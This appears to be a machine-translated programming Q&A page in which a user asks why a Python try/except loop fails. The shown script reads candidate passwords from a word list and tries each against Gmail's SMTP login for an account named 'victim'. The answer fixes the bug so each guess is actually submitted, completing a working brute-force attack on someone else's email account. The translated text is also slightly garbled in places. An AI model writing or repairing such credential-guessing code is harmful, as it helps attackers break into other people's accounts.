尝试声明无法正常运行?

时间:2016-05-01 19:22:32

标签: python smtp python-3.4

我正在制作一个简单的程序,在一个循环中检查密码是否正确。我注意到我的尝试语句不起作用。这是我的代码:

listfile = open("list.txt","r")
def trial():
    for code in listfile:
        try:
            google.login(victim,"none")
            print("test")
            print("[!]Trial and error complete. Password is: %s"%code)
            break
        except smtplib.SMTPAuthenticationError:
            print("test")
            print("Incorrect password:%s"%code)
trial()

我知道尝试语句正在运行。我通过添加行print("Test")来测试它,但是当我运行它时它没有出现。

修改

try语句现在正在运行,但它总是引发错误。我知道它正在这样做,因为它正在运行第10行和第11行,通过打印"不正确的密码:"。我看到它打印了#34; Inncorrect密码:"即使输入的密码是正确的。

1 个答案:

答案 0 :(得分:1)

您的登录信息不正确。

try区块中,您有print("[!]Trial and error complete. Password is: %s" % code)

但是当您登录时,您的密码为“无”:google.login(victim,"none")

将该行更改为google.login(victim, code)